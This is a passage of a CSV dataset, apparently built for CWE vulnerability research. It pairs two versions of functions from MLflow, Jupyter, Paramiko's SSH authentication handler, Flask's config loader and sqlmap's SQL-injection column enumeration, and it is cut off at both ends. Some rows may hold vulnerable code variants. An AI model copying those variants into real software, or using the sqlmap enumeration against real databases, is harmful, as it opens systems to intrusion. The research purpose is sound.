            do_xcom_push=False,
        )
        context = create_context(k)
        k.execute(context)
        actual_pod = self.api_client.sanitize_for_serialization(k.pod)
        self.expected_pod['spec']['initContainers'] = [expected_init_container]
        self.expected_pod['spec']['volumes'] = [
            {'name': 'test-volume', 'persistentVolumeClaim': {'claimName': 'test-volume'}}
        ]
        assert self.expected_pod == actual_pod"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/langchain/__init__.py,0,"def log_model(
    lc_model,
    artifact_path,
    conda_env=None,
    code_paths=None,
    registered_model_name=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
):
    """"""
    Log a LangChain model as an MLflow artifact for the current run.

    :param lc_model: LangChain model to be saved.
    :param artifact_path: Run-relative artifact path.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.

    :param registered_model_name: This argument may change or be removed in a
                                  future release without warning. If given, create a model
                                  version under ``registered_model_name``, also creating a
                                  registered model if one with the given name does not exist.
    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output
                      :py:class:`Schema <mlflow.types.Schema>`.
                      If not specified, the model signature would be set according to
                      `lc_model.input_keys` and `lc_model.output_keys` as columns names, and
                      `DataType.string` as the column type.
                      Alternatively, you can explicitly specify the model signature.
                      The model signature can be :py:func:`inferred
                      <mlflow.models.infer_signature>` from datasets with valid model input
                      (e.g. the training dataset with target column omitted) and valid model
                      output (e.g. model predictions generated on the training dataset),
                      for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature

                        chain = LLMChain(llm=llm, prompt=prompt)
                        prediction = chain.run(input_str)
                        input_columns = [
                            {""type"": ""string"", ""name"": input_key} for input_key in chain.input_keys
                        ]
                        signature = infer_signature(input_columns, predictions)

    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to
                          feed the model. The given example will be converted to a
                          Pandas DataFrame and then serialized to json using the
                          Pandas split-oriented format. Bytes are base64-encoded.

    :param await_registration_for: Number of seconds to wait for the model version
                        to finish being created and is in ``READY`` status.
                        By default, the function waits for five minutes.
                        Specify 0 or None to skip waiting.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.
    :return: A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
             metadata of the logged model.
    """"""
    import langchain

    if type(lc_model) != langchain.chains.llm.LLMChain:
        raise TypeError(
            ""MLflow langchain flavor only supports logging langchain.chains.llm.LLMChain ""
            + f""instances, found {type(lc_model)}""
        )
    _SUPPORTED_LLMS = {langchain.llms.openai.OpenAI, langchain.llms.huggingface_hub.HuggingFaceHub}
    if type(lc_model.llm) not in _SUPPORTED_LLMS:
        logger.warning(
            ""MLflow does not guarantee support for LLMChains outside of HuggingFaceHub and ""
            ""OpenAI, found %s"",
            str(type(lc_model.llm)),
        )
    return Model.log(
        artifact_path=artifact_path,
        flavor=mlflow.langchain,
        registered_model_name=registered_model_name,
        lc_model=lc_model,
        conda_env=conda_env,
        code_paths=code_paths,
        signature=signature,
        input_example=input_example,
        await_registration_for=await_registration_for,
        pip_requirements=pip_requirements,
        extra_pip_requirements=extra_pip_requirements,
        metadata=metadata,
    )",,mlflow/mlflow,f898dcc54d2ff0ba30816b3e33b30dff54ecce22,"def log_model(
    lc_model,
    artifact_path,
    conda_env=None,
    code_paths=None,
    registered_model_name=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
):
    """"""
    Log a LangChain model as an MLflow artifact for the current run.

    :param pr_model: LangChain model to be saved.
    :param artifact_path: Run-relative artifact path.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.

    :param registered_model_name: This argument may change or be removed in a
                                  future release without warning. If given, create a model
                                  version under ``registered_model_name``, also creating a
                                  registered model if one with the given name does not exist.
    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output
                      :py:class:`Schema <mlflow.types.Schema>`.
                      If not specified, the model signature would be set according to
                      `lc_model.input_keys` and `lc_model.output_keys` as columns names, and
                      `DataType.string` as the column type.
                      Alternatively, you can explicitly specify the model signature.
                      The model signature can be :py:func:`inferred
                      <mlflow.models.infer_signature>` from datasets with valid model input
                      (e.g. the training dataset with target column omitted) and valid model
                      output (e.g. model predictions generated on the training dataset),
                      for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature

                        chain = LLMChain(llm=llm, prompt=prompt)
                        prediction = chain.run(input_str)
                        input_columns = [
                            {""type"": ""string"", ""name"": input_key} for input_key in chain.input_keys
                        ]
                        signature = infer_signature(input_columns, predictions)

    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to
                          feed the model. The given example will be converted to a
                          Pandas DataFrame and then serialized to json using the
                          Pandas split-oriented format. Bytes are base64-encoded.

    :param await_registration_for: Number of seconds to wait for the model version
                        to finish being created and is in ``READY`` status.
                        By default, the function waits for five minutes.
                        Specify 0 or None to skip waiting.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.
    :return: A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
             metadata of the logged model.
    """"""
    import langchain

    if type(lc_model) != langchain.chains.llm.LLMChain:
        raise TypeError(
            ""MLflow langchain flavor only supports logging langchain.chains.llm.LLMChain ""
            + f""instances, found {type(lc_model)}""
        )
    _SUPPORTED_LLMS = {langchain.llms.openai.OpenAI, langchain.llms.huggingface_hub.HuggingFaceHub}
    if type(lc_model.llm) not in _SUPPORTED_LLMS:
        logger.warning(
            ""MLflow does not guarantee support for LLMChains outside of HuggingFaceHub and ""
            ""OpenAI, found %s"",
            str(type(lc_model.llm)),
        )
    return Model.log(
        artifact_path=artifact_path,
        flavor=mlflow.langchain,
        registered_model_name=registered_model_name,
        lc_model=lc_model,
        conda_env=conda_env,
        code_paths=code_paths,
        signature=signature,
        input_example=input_example,
        await_registration_for=await_registration_for,
        pip_requirements=pip_requirements,
        extra_pip_requirements=extra_pip_requirements,
        metadata=metadata,
    )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/fluent.py,0,"def set_tags(tags):
    """"""
    Log a batch of tags for the current run, starting a run if no runs are active.

    :param tags: Dictionary of tag_name: String -> value: (String, but will be string-ified if
                 not)
    :returns: None
    """"""
    run_id = _get_or_start_run().info.run_id
    tags_arr = [RunTag(key, str(value)) for key, value in tags.items()]
    MlflowClient().log_batch(run_id=run_id, metrics=[], params=[], tags=tags_arr)",,mlflow/mlflow,a75aa47105cd50c3ea168eecf6a62fee8000ba05,"def set_tags(tags):
    """"""
    Log a batch of tags for the current run, starting a run if no runs are active.
    
    :param tags: Dictionary of tag_name: String -> value: (String, but will be string-ified if
                 not)
    :returns: None
    """"""
    run_id = _get_or_start_run().info.run_id
    tags_arr = [RunTag(key, str(value)) for key, value in tags.items()]
    MlflowClient().log_batch(run_id=run_id, metrics=[], params=[], tags=tags_arr)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/launchnotebook.py,0,"def setup_class(cls):
        cls.tmp_dir = TemporaryDirectory()
        def tmp(*parts):
            path = os.path.join(cls.tmp_dir.name, *parts)
            try:
                os.makedirs(path)
            except OSError as e:
                if e.errno != errno.EEXIST:
                    raise
            return path
        
        cls.home_dir = tmp('home')
        data_dir = cls.data_dir = tmp('data')
        config_dir = cls.config_dir = tmp('config')
        runtime_dir = cls.runtime_dir = tmp('runtime')
        cls.notebook_dir = tmp('notebooks')
        cls.env_patch = patch.dict('os.environ', cls.get_patch_env())
        cls.env_patch.start()
        cls.path_patch = patch.multiple(
            jupyter_core.paths,
            SYSTEM_JUPYTER_PATH=[tmp('share', 'jupyter')],
            ENV_JUPYTER_PATH=[tmp('env', 'share', 'jupyter')],
            SYSTEM_CONFIG_PATH=[tmp('etc', 'jupyter')],
            ENV_CONFIG_PATH=[tmp('env', 'etc', 'jupyter')],
        )
        cls.path_patch.start()

        config = cls.config or Config()
        config.NotebookNotary.db_file = ':memory:'

        cls.token = hexlify(os.urandom(4)).decode('ascii')

        started = Event()
        def start_thread():
            app = cls.notebook = NotebookApp(
                port=cls.port,
                port_retries=0,
                open_browser=False,
                config_dir=cls.config_dir,
                data_dir=cls.data_dir,
                runtime_dir=cls.runtime_dir,
                notebook_dir=cls.notebook_dir,
                base_url=cls.url_prefix,
                config=config,
                allow_root=True,
                token=cls.token,
            )
            if 'asyncio' in sys.modules:
                app._init_asyncio_patch()
                import asyncio
                asyncio.set_event_loop(asyncio.new_event_loop())
            # don't register signal handler during tests
            app.init_signal = lambda : None
            # clear log handlers and propagate to root for nose to capture it
            # needs to be redone after initialize, which reconfigures logging
            app.log.propagate = True
            app.log.handlers = []
            app.initialize(argv=cls.get_argv())
            app.log.propagate = True
            app.log.handlers = []
            loop = IOLoop.current()
            loop.add_callback(started.set)
            try:
                app.start()
            finally:
                # set the event, so failure to start doesn't cause a hang
                started.set()
                app.session_manager.close()
        cls.notebook_thread = Thread(target=start_thread)
        cls.notebook_thread.daemon = True
        cls.notebook_thread.start()
        started.wait()
        cls.wait_until_alive()",,jupyter/notebook,7e2ae22aeec75ce6d4d8606b62809ea189ec76d8,"def setup_class(cls):
        cls.tmp_dir = TemporaryDirectory()
        def tmp(*parts):
            path = os.path.join(cls.tmp_dir.name, *parts)
            try:
                os.makedirs(path)
            except OSError as e:
                if e.errno != errno.EEXIST:
                    raise
            return path
        
        cls.home_dir = tmp('home')
        data_dir = cls.data_dir = tmp('data')
        config_dir = cls.config_dir = tmp('config')
        runtime_dir = cls.runtime_dir = tmp('runtime')
        cls.notebook_dir = tmp('notebooks')
        cls.env_patch = patch.dict('os.environ', cls.get_patch_env())
        cls.env_patch.start()
        cls.path_patch = patch.multiple(
            jupyter_core.paths,
            SYSTEM_JUPYTER_PATH=[tmp('share', 'jupyter')],
            ENV_JUPYTER_PATH=[tmp('env', 'share', 'jupyter')],
            SYSTEM_CONFIG_PATH=[tmp('etc', 'jupyter')],
            ENV_CONFIG_PATH=[tmp('env', 'etc', 'jupyter')],
        )
        cls.path_patch.start()

        config = cls.config or Config()
        config.NotebookNotary.db_file = ':memory:'

        cls.token = hexlify(os.urandom(4)).decode('ascii')

        started = Event()
        def start_thread():
            if 'asyncio' in sys.modules:
                import asyncio
                asyncio.set_event_loop(asyncio.new_event_loop())
            app = cls.notebook = NotebookApp(
                port=cls.port,
                port_retries=0,
                open_browser=False,
                config_dir=cls.config_dir,
                data_dir=cls.data_dir,
                runtime_dir=cls.runtime_dir,
                notebook_dir=cls.notebook_dir,
                base_url=cls.url_prefix,
                config=config,
                allow_root=True,
                token=cls.token,
            )
            # don't register signal handler during tests
            app.init_signal = lambda : None
            # clear log handlers and propagate to root for nose to capture it
            # needs to be redone after initialize, which reconfigures logging
            app.log.propagate = True
            app.log.handlers = []
            app.initialize(argv=cls.get_argv())
            app.log.propagate = True
            app.log.handlers = []
            loop = IOLoop.current()
            loop.add_callback(started.set)
            try:
                app.start()
            finally:
                # set the event, so failure to start doesn't cause a hang
                started.set()
                app.session_manager.close()
        cls.notebook_thread = Thread(target=start_thread)
        cls.notebook_thread.daemon = True
        cls.notebook_thread.start()
        started.wait()
        cls.wait_until_alive()"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/auth_handler.py,0,"def _parse_userauth_request(self, m):
        if not self.transport.server_mode:
            # er, uh... what?
            m = Message()
            m.add_byte(cMSG_USERAUTH_FAILURE)
            m.add_string('none')
            m.add_boolean(False)
            self.transport._send_message(m)
            return
        if self.authenticated:
            # ignore
            return
        username = m.get_text()
        service = m.get_text()
        method = m.get_text()
        self.transport._log(
            DEBUG,
            'Auth request (type=%s) service=%s, username=%s' % (
                method, service, username))
        if service != 'ssh-connection':
            self._disconnect_service_not_available()
            return
        if ((self.auth_username is not None) and
                (self.auth_username != username)):
            self.transport._log(
                WARNING,
                'Auth rejected because the client attempted to change username in mid-flight' # noqa
            )
            self._disconnect_no_more_auth()
            return
        self.auth_username = username
        # check if GSS-API authentication is enabled
        gss_auth = self.transport.server_object.enable_auth_gssapi()

        if method == 'none':
            result = self.transport.server_object.check_auth_none(username)
        elif method == 'password':
            changereq = m.get_boolean()
            password = m.get_binary()
            try:
                password = password.decode('UTF-8')
            except UnicodeError:
                # some clients/servers expect non-utf-8 passwords!
                # in this case, just return the raw byte string.
                pass
            if changereq:
                # always treated as failure, since we don't support changing
                # passwords, but collect the list of valid auth types from
                # the callback anyway
                self.transport._log(
                    DEBUG,
                    'Auth request to change passwords (rejected)')
                newpassword = m.get_binary()
                try:
                    newpassword = newpassword.decode('UTF-8', 'replace')
                except UnicodeError:
                    pass
                result = AUTH_FAILED
            else:
                result = self.transport.server_object.check_auth_password(
                    username, password)
        elif method == 'publickey':
            sig_attached = m.get_boolean()
            keytype = m.get_text()
            keyblob = m.get_binary()
            try:
                key = self.transport._key_info[keytype](Message(keyblob))
            except SSHException as e:
                self.transport._log(
                    INFO,
                    'Auth rejected: public key: %s' % str(e))
                key = None
            except:
                self.transport._log(
                    INFO,
                    'Auth rejected: unsupported or mangled public key')
                key = None
            if key is None:
                self._disconnect_no_more_auth()
                return
            # first check if this key is okay... if not, we can skip the verify
            result = self.transport.server_object.check_auth_publickey(
                username, key)
            if result != AUTH_FAILED:
                # key is okay, verify it
                if not sig_attached:
                    # client wants to know if this key is acceptable, before it
                    # signs anything...  send special ""ok"" message
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_PK_OK)
                    m.add_string(keytype)
                    m.add_string(keyblob)
                    self.transport._send_message(m)
                    return
                sig = Message(m.get_binary())
                blob = self._get_session_blob(key, service, username)
                if not key.verify_ssh_sig(blob, sig):
                    self.transport._log(
                        INFO,
                        'Auth rejected: invalid signature')
                    result = AUTH_FAILED
        elif method == 'keyboard-interactive':
            submethods = m.get_string()
            result = self.transport.server_object.check_auth_interactive(
                username, submethods)
            if isinstance(result, InteractiveQuery):
                # make interactive query instead of response
                self._interactive_query(result)
                return
        elif method == ""gssapi-with-mic"" and gss_auth:
            sshgss = GSSAuth(method)
            # Read the number of OID mechanisms supported by the client.
            # OpenSSH sends just one OID. It's the Kerveros V5 OID and that's
            # the only OID we support.
            mechs = m.get_int()
            # We can't accept more than one OID, so if the SSH client sends
            # more than one, disconnect.
            if mechs > 1:
                self.transport._log(
                    INFO,
                    'Disconnect: Received more than one GSS-API OID mechanism')
                self._disconnect_no_more_auth()
            desired_mech = m.get_string()
            mech_ok = sshgss.ssh_check_mech(desired_mech)
            # if we don't support the mechanism, disconnect.
            if not mech_ok:
                self.transport._log(
                    INFO,
                    'Disconnect: Received an invalid GSS-API OID mechanism')
                self._disconnect_no_more_auth()
            # send the Kerberos V5 GSSAPI OID to the client
            supported_mech = sshgss.ssh_gss_oids(""server"")
            # RFC 4462 says we are not required to implement GSS-API error
            # messages. See section 3.8 in http://www.ietf.org/rfc/rfc4462.txt
            m = Message()
            m.add_byte(cMSG_USERAUTH_GSSAPI_RESPONSE)
            m.add_bytes(supported_mech)
            self.transport.auth_handler = GssapiWithMicAuthHandler(self, sshgss)
            self.transport._expected_packet = (MSG_USERAUTH_GSSAPI_TOKEN, MSG_USERAUTH_REQUEST, MSG_SERVICE_REQUEST)
            self.transport._send_message(m)
            return
        elif method == ""gssapi-keyex"" and gss_auth:
            mic_token = m.get_string()
            sshgss = self.transport.kexgss_ctxt
            if sshgss is None:
                # If there is no valid context, we reject the authentication
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
            try:
                sshgss.ssh_check_mic(mic_token,
                                     self.transport.session_id,
                                     self.auth_username)
            except Exception:
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
                raise
            result = AUTH_SUCCESSFUL
            self.transport.server_object.check_auth_gssapi_keyex(
                username, result)
        else:
            result = self.transport.server_object.check_auth_none(username)
        # okay, send result
        self._send_auth_result(username, method, result)",,paramiko/paramiko,c214e5043fdaf72e355bc014239ebeddf269059d,"def _parse_userauth_request(self, m):
        if not self.transport.server_mode:
            # er, uh... what?
            m = Message()
            m.add_byte(cMSG_USERAUTH_FAILURE)
            m.add_string('none')
            m.add_boolean(False)
            self.transport._send_message(m)
            return
        if self.authenticated:
            # ignore
            return
        username = m.get_text()
        service = m.get_text()
        method = m.get_text()
        self.transport._log(
            DEBUG,
            'Auth request (type=%s) service=%s, username=%s' % (
                method, service, username))
        if service != 'ssh-connection':
            self._disconnect_service_not_available()
            return
        if ((self.auth_username is not None) and
                (self.auth_username != username)):
            self.transport._log(
                WARNING,
                'Auth rejected because the client attempted to change username in mid-flight' # noqa
            )
            self._disconnect_no_more_auth()
            return
        self.auth_username = username
        # check if GSS-API authentication is enabled
        gss_auth = self.transport.server_object.enable_auth_gssapi()

        if method == 'none':
            result = self.transport.server_object.check_auth_none(username)
        elif method == 'password':
            changereq = m.get_boolean()
            password = m.get_binary()
            try:
                password = password.decode('UTF-8')
            except UnicodeError:
                # some clients/servers expect non-utf-8 passwords!
                # in this case, just return the raw byte string.
                pass
            if changereq:
                # always treated as failure, since we don't support changing
                # passwords, but collect the list of valid auth types from
                # the callback anyway
                self.transport._log(
                    DEBUG,
                    'Auth request to change passwords (rejected)')
                newpassword = m.get_binary()
                try:
                    newpassword = newpassword.decode('UTF-8', 'replace')
                except UnicodeError:
                    pass
                result = AUTH_FAILED
            else:
                result = self.transport.server_object.check_auth_password(
                    username, password)
        elif method == 'publickey':
            sig_attached = m.get_boolean()
            keytype = m.get_text()
            keyblob = m.get_binary()
            try:
                key = self.transport._key_info[keytype](Message(keyblob))
            except SSHException as e:
                self.transport._log(
                    INFO,
                    'Auth rejected: public key: %s' % str(e))
                key = None
            except:
                self.transport._log(
                    INFO,
                    'Auth rejected: unsupported or mangled public key')
                key = None
            if key is None:
                self._disconnect_no_more_auth()
                return
            # first check if this key is okay... if not, we can skip the verify
            result = self.transport.server_object.check_auth_publickey(
                username, key)
            if result != AUTH_FAILED:
                # key is okay, verify it
                if not sig_attached:
                    # client wants to know if this key is acceptable, before it
                    # signs anything...  send special ""ok"" message
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_PK_OK)
                    m.add_string(keytype)
                    m.add_string(keyblob)
                    self.transport._send_message(m)
                    return
                sig = Message(m.get_binary())
                blob = self._get_session_blob(key, service, username)
                if not key.verify_ssh_sig(blob, sig):
                    self.transport._log(
                        INFO,
                        'Auth rejected: invalid signature')
                    result = AUTH_FAILED
        elif method == 'keyboard-interactive':
            submethods = m.get_string()
            result = self.transport.server_object.check_auth_interactive(
                username, submethods)
            if isinstance(result, InteractiveQuery):
                # make interactive query instead of response
                self._interactive_query(result)
                return
        elif method == ""gssapi-with-mic"" and gss_auth:
            sshgss = GSSAuth(method)
            # Read the number of OID mechanisms supported by the client.
            # OpenSSH sends just one OID. It's the Kerveros V5 OID and that's
            # the only OID we support.
            mechs = m.get_int()
            # We can't accept more than one OID, so if the SSH client sends
            # more than one, disconnect.
            if mechs > 1:
                self.transport._log(
                    INFO,
                    'Disconnect: Received more than one GSS-API OID mechanism')
                self._disconnect_no_more_auth()
            desired_mech = m.get_string()
            mech_ok = sshgss.ssh_check_mech(desired_mech)
            # if we don't support the mechanism, disconnect.
            if not mech_ok:
                self.transport._log(
                    INFO,
                    'Disconnect: Received an invalid GSS-API OID mechanism')
                self._disconnect_no_more_auth()
            # send the Kerberos V5 GSSAPI OID to the client
            supported_mech = sshgss.ssh_gss_oids(""server"")
            # RFC 4462 says we are not required to implement GSS-API error
            # messages. See section 3.8 in http://www.ietf.org/rfc/rfc4462.txt
            while True:
                m = Message()
                m.add_byte(cMSG_USERAUTH_GSSAPI_RESPONSE)
                m.add_bytes(supported_mech)
                self.transport._send_message(m)
                ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_GSSAPI_TOKEN:
                    client_token = m.get_string()
                    # use the client token as input to establish a secure
                    # context.
                    try:
                        token = sshgss.ssh_accept_sec_context(self.gss_host,
                                                              client_token,
                                                              username)
                    except Exception:
                        result = AUTH_FAILED
                        self._send_auth_result(username, method, result)
                        raise
                    if token is not None:
                        m = Message()
                        m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                        m.add_string(token)
                        self.transport._send_message(m)
                else:
                    result = AUTH_FAILED
                    self._send_auth_result(username, method, result)
                    return
                # check MIC
                ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_GSSAPI_MIC:
                    break
            mic_token = m.get_string()
            try:
                sshgss.ssh_check_mic(mic_token,
                                     self.transport.session_id,
                                     username)
            except Exception:
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
                raise
            # TODO: Implement client credential saving.
            # The OpenSSH server is able to create a TGT with the delegated
            # client credentials, but this is not supported by GSS-API.
            result = AUTH_SUCCESSFUL
            self.transport.server_object.check_auth_gssapi_with_mic(
                username, result)
        elif method == ""gssapi-keyex"" and gss_auth:
            mic_token = m.get_string()
            sshgss = self.transport.kexgss_ctxt
            if sshgss is None:
                # If there is no valid context, we reject the authentication
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
            try:
                sshgss.ssh_check_mic(mic_token,
                                     self.transport.session_id,
                                     self.auth_username)
            except Exception:
                result = AUTH_FAILED
                self._send_auth_result(username, method, result)
                raise
            result = AUTH_SUCCESSFUL
            self.transport.server_object.check_auth_gssapi_keyex(
                username, result)
        else:
            result = self.transport.server_object.check_auth_none(username)
        # okay, send result
        self._send_auth_result(username, method, result)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/config.py,0,"def from_pyfile(self, filename, silent=False):
        """"""Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """"""
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            exec(compile(open(filename).read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True",,pallets/flask,05923f7f2f9681c8d90def3a64ea71652c15935c,"def from_pyfile(self, filename, silent=False):
        """"""Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """"""
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            execfile(filename, d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mssqlserver/enumeration.py,0,"def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereTblsQuery = """"
        infoMsgTbl = """"
        infoMsgDb = """"
        colList = conf.col.split("","")
        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        tblCond = rootQuery.inband.condition2
        colConsider, colCondParam = self.likeOrExact(""column"")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split("","")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            dbs[db] = {}

        for column in colList:
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            infoMsg = ""searching column""
            if colConsider == ""1"":
                infoMsg += ""s like""
            infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split("","")
                whereTblsQuery = "" AND ("" + "" OR "".join(""%s = '%s'"" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + "")""
                infoMsgTbl = "" for table%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(tbl for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split("","")
                infoMsgDb = "" in database%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(db for db in _))
            elif conf.excludeSysDbs:
                infoMsg2 = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = "" across all databases""

            logger.info(""%s%s%s"" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = ""%s%s"" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in filter(None, dbs.keys()):
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    continue

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db, db)
                    query += "" AND %s"" % colQuery.replace(""[DB]"", db)
                    query += whereTblsQuery.replace(""[DB]"", db)
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == ""1"":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
                                  and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                    dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [foundTbl]
                else:
                    foundCols[column][db] = []

                    infoMsg = ""fetching number of tables containing column""
                    if colConsider == ""1"":
                        infoMsg += ""s like""
                    infoMsg += "" '%s' in database '%s'"" % (column, db)
                    logger.info(""%s%s"" % (infoMsg, infoMsgTbl))

                    query = rootQuery.blind.count
                    query = query % (db, db, db, db, db, db)
                    query += "" AND %s"" % colQuery.replace(""[DB]"", db)
                    query += whereTblsQuery.replace(""[DB]"", db)
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no tables contain column""
                        if colConsider == ""1"":
                            warnMsg += ""s like""
                        warnMsg += "" '%s' "" % column
                        warnMsg += ""in database '%s'"" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (db, db, db, db, db, db)
                        query += "" AND %s"" % colQuery.replace(""[DB]"", db)
                        query += whereTblsQuery.replace(""[DB]"", db)
                        query = agent.limitQuery(index, query, colCond.replace(""[DB]"", db))
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == ""1"":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        conf.dumper.dbColumns(foundCols, colConsider, dbs)
        self.dumpFoundColumn(dbs, foundCols, colConsider)",,sqlmapproject/sqlmap,a06a6de193f7953d824ace1c335db5bf82d73036,"def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereTblsQuery = """"
        infoMsgTbl = """"
        infoMsgDb = """"
        colList = conf.col.split("","")
        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        tblCond = rootQuery.inband.condition2
        colConsider, colCondParam = self.likeOrExact(""column"")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split("","")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            dbs[db] = {}

        for column in colList:
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
